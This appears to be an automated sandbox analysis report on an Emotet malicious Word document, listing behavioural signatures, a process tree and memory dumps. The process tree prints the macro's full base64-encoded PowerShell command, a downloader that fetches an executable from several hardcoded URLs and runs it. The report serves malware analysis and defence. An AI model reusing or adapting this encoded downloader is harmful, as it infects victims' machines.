Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    20/10/2020, 09:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa_2020-10-20__094609938990._doc.doc
  • Size 163KB
  • Sample201020-rl7ba37cf6
  • SHA256 b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b98bfff40e1a2305fe983aee8842e25ebbd00d027f693a77e97008ce6a5fb2fa_2020-10-20__094609938990._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1164
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMAZQB0AC0AdgBBAFIASQBBAEIAbABFACAAIAAoACcAMQBJACcAKwAnADYAdwBlAEwAJwApACAAKAAgAFsAVABZAFAARQBdACgAJwBzACcAKwAnAHkAJwArACcAUwB0AGUAbQAnACsAJwAuAEkAbwAnACsAJwAuAEQAaQAnACsAJwBSAEUAQwBUAE8AcgBZACcAKQAgACAAKQA7ACAAUwBFAHQALQBpAFQAZQBtACAAVgBhAFIAaQBBAGIAbABFADoAOABuAHoAagAgACgAWwBUAHkAcABlAF0AKAAnAFMAeQBzAFQAZQBtAC4AbgBFAFQAJwArACcALgBTAEUAJwArACcAcgAnACsAJwBWACcAKwAnAEkAQwBFAHAAbwBpAG4AdABNAEEAJwArACcAbgBBACcAKwAnAEcARQBSACcAKQAgACkAOwBzAGUAVAAgACAAKAAnAGMAVgAnACsAJwBUADQAMgA3ACcAKQAgACgAWwBUAHkAUABFAF0AKAAnAFMAWQBzAHQAZQBNAC4AJwArACcATgBlAHQALgBTAGUAJwArACcAQwB1AHIASQAnACsAJwBUAHkAcABSAE8AdABPAEMAbwBMACcAKwAnAHQAWQAnACsAJwBQAGUAJwApACAAKQAgADsAIAAkAEMAaABzAGIAOQAwADgAPQAoACcAQgAnACsAJwB2AHIAMgAwAGMANQAnACkAOwAkAEEAdQBoAHcANAB5AHIAPQAkAFYAOABxADgAbgA2AGoAIAArACAAWwBjAGgAYQByAF0AKAA4ADAAIAAtACAAMwA4ACkAIAArACAAJABZAG0AbgB3AGkANgB6ADsAJABaAGUAdAB3AGYAcAB0AD0AKAAnAFgAZAAnACsAJwB4AGcAYwBzAG4AJwApADsAIAAgACgARABpAFIAIAAoACIAdgBBAFIAIgArACIASQBBAGIATAAiACsAIgBFADoAMQBpADYAdwBlACIAKwAiAGwAIgApACkALgB2AEEAbABVAGUAOgA6AGMAcgBFAGEAdABlAEQASQByAGUAYwBUAE8AUgBZACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwBJAFQAJwArACcAcQBTACcAKwAnADQAdQB6ADIAdAAnACsAJwBpACcAKwAnAEkAVABxAE0AZABtAG8AJwArACcAOABpAHUASQAnACsAJwBUAHEAJwApAC4AcgBlAFAAbABBAGMAZQAoACgAWwBjAGgAYQByAF0ANwAzACsAWwBjAGgAYQByAF0AOAA0ACsAWwBjAGgAYQByAF0AMQAxADMAKQAsAFsAcwB0AHIASQBOAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACkAOwAkAEcAdwB1AF8ANAB5AHoAPQAoACcAWQA3AGUAJwArACcAdwAnACsAJwB2AGsAagAnACkAOwAgACAAKABpAHQARQBNACAAIAB2AGEAUgBpAGEAYgBsAGUAOgA4AE4AegBKACAAIAApAC4AdgBBAEwAdQBFADoAOgBzAGUAYwBVAFIAaQB0AFkAUAByAG8AdABvAGMAbwBMACAAPQAgACAAKAAgACAAdgBBAFIASQBhAGIAbABFACAAKAAnAGMAVgAnACsAJwBUADQAMgA3ACcAKQApAC4AVgBhAGwAVQBFADoAOgB0AEwAUwAxADIAOwAkAFcAMQAyADUAdQBpAHYAPQAoACcASgB6AGEAawBoACcAKwAnAGMAdgAnACkAOwAkAEUAZwB6ADcAMQB2AGoAIAA9ACAAKAAnAFoAJwArACcAOQBuAHcAbAAnACsAJwAxADAAJwApADsAJABMAGoAeQBrAGsAOQBnAD0AKAAnAFYAcgBrACcAKwAnAG4AMwB0ADcAJwApADsAJABCAGYAdwBlAHkAcABjAD0AKAAnAEgAMQB4AHgAOQAnACsAJwB5ADcAJwApADsAJABKAGsAbgBmAHoAOQB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9ACcAKwAnAFMAJwArACcANAB1ACcAKwAnAHoAMgB0AGkAewAwAH0ATQBkAG0AbwA4ACcAKwAnAGkAdQB7ADAAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACsAJABFAGcAegA3ADEAdgBqACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABUAHAAbwBsAHUAawBlAD0AKAAnAE4AbwBxACcAKwAnADIAJwArACcAMwBpAHgAJwApADsAJABNAGgAMgAyAHoAawBvAD0AbgBlAGAAdwAtAG8AYABCAEoARQBjAFQAIABOAGUAVAAuAFcARQBiAEMATABJAEUAbgBUADsAJABaAHgAZwB5AGgAeAA1AD0AKAAnAGgAdAB0AHAAOgAvAC8AJwArACcAdwBvACcAKwAnAGQAcwB1ACcAKwAnAGkAJwArACcAdAAuACcAKwAnAGMAbwBtACcAKwAnAC8AcgBhAG0AJwArACcALQBhAGkAJwArACcAcwBpAG4AJwArACcALwA3ACcAKwAnAHIAOQAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwBoACcAKwAnAG8AbwBiAGkAcQAuAGMAbwAnACsAJwBtAC8AYwBnAGkALQAnACsAJwBiAGkAbgAvACcAKwAnAFgAeQB2AC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvAGIAbwAnACsAJwBtAGYAdQB0AHUAcgBvACcAKwAnAGEAZAAnACsAJwBlAHMAaQB2ACcAKwAnAG8AcwAuAGMAJwArACcAbwBtAC8AZwAnACsAJwBhAGwAJwArACcAbABlACcAKwAnAHIAeQBfADAAMwAnACsAJwBmACcAKwAnADUAOQBhADEAYwBjADIAMAAwACcAKwAnADkANgAnACsAJwA1ADMAOQBjADcAYQBlAGMAMQBiADYAJwArACcAMQBkACcAKwAnADcAJwArACcANAA3ACcAKwAnADEAYQAvACcAKwAnADMAZQAvACcAKwAnACoAaAB0AHQAcAAnACsAJwBzACcAKwAnADoALwAnACsAJwAvAHYAYQB0ADIAMAAnACsAJwAxAC4AYwBvAG0ALwBjAGEAbABjAHUAbABhAHQAbwByAC8AaQB0ACcAKwAnAFEALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AdgBpAGsAJwArACcAaQAnACsAJwBuACcAKwAnAGcAZwAnACsAJwBnAC4AYwBvAG0ALwBoACcAKwAnAHkAZAByAG8AbAB5AHMAaQAnACsAJwBzAC0AJwArACcAbwBmAC8AYgBZAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvACcAKwAnAC8AbQBvAGgAYQBtAGUAZAAnACsAJwBzAGEAJwArACcAeQBlAGQALgBjAG8AJwArACcAbQAvAHcAcAAtAGEAZAAnACsAJwBtAGkAJwArACcAbgAvAFoAdAAvACoAJwArACcAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACsAJwAvAGgAbwBzACcAKwAnAHQAJwArACcAaQBtAHAAZQAnACsAJwBsAC4AYwBvAG0AJwArACcALwBqAHMALwBxAC8AJwApAC4AUwBQAGwAaQB0ACgAJABDAGwAdQBmAGQANgB5ACAAKwAgACQAQQB1AGgAdwA0AHkAcgAgACsAIAAkAEYANABfAHYAbAB0AHoAKQA7ACQAUABlAHcAbQBlAHUAcwA9ACgAJwBBAGYAJwArACcAdwBrAF8AJwArACcAbABkACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQgBsAGYAcgBrAGcAegAgAGkAbgAgACQAWgB4AGcAeQBoAHgANQApAHsAdAByAHkAewAkAE0AaAAyADIAegBrAG8ALgBEAG8AdwBuAGwAbwBBAEQARgBpAGwAZQAoACQAQgBsAGYAcgBrAGcAegAsACAAJABKAGsAbgBmAHoAOQB0ACkAOwAkAEIAZwB1AHgAZAAxAGQAPQAoACcAVQAnACsAJwBvAGQAMwBsACcAKwAnAHQAZgAnACkAOwBJAGYAIAAoACgAZwBFAFQALQBpAGAAVABgAGUATQAgACQASgBrAG4AZgB6ADkAdAApAC4AbABlAG4ARwBUAGgAIAAtAGcAZQAgADMAOQA4ADkANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAaQBuACcAKwAnADMAMgBfACcAKwAnAFAAcgAnACsAJwBvAGMAZQBzAHMAJwApACkALgBDAHIARQBBAHQAZQAoACQASgBrAG4AZgB6ADkAdAApADsAJABHAGYAeQB3AGwAbABzAD0AKAAnAFYAZgAnACsAJwAwACcAKwAnAGoAbwBiADcAJwApADsAYgByAGUAYQBrADsAJABYAHQAZQAwAGMAZAA3AD0AKAAnAFMAdgAnACsAJwAyACcAKwAnAHIAMgBxAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAHUAMgBnAHAAcgAyAD0AKAAnAEIAJwArACcANQBrAHYAJwArACcAZQB4AG8AJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1656
  • C:\Users\Admin\S4uz2ti\Mdmo8iu\Z9nwl10.exe
    C:\Users\Admin\S4uz2ti\Mdmo8iu\Z9nwl10.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:864

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1164-3-0x0000000006D40000-0x0000000006F40000-memory.dmp
        Download

        memory/1164-4-0x0000000006D40000-0x0000000006F40000-memory.dmp
        Download

        memory/1164-5-0x0000000006D40000-0x0000000006F40000-memory.dmp
        Download

        memory/1164-6-0x0000000006D40000-0x0000000006F40000-memory.dmp
        Download

        memory/1164-7-0x0000000006D40000-0x0000000006F40000-memory.dmp
        Download

        memory/1164-2-0x0000000008A00000-0x0000000008A04000-memory.dmp
        Download

        memory/1656-8-0x000007FEE9F70000-0x000007FEEA95C000-memory.dmp
        Download

        memory/1656-10-0x000000001AC40000-0x000000001AC41000-memory.dmp
        Download

        memory/1656-11-0x0000000002750000-0x0000000002751000-memory.dmp
        Download

        memory/1656-12-0x00000000026B0000-0x00000000026B1000-memory.dmp
        Download

        memory/1656-13-0x000000001B5E0000-0x000000001B5E1000-memory.dmp
        Download

        memory/1656-14-0x000000001B770000-0x000000001B771000-memory.dmp
        Download

        memory/1656-9-0x0000000002450000-0x0000000002451000-memory.dmp
        Download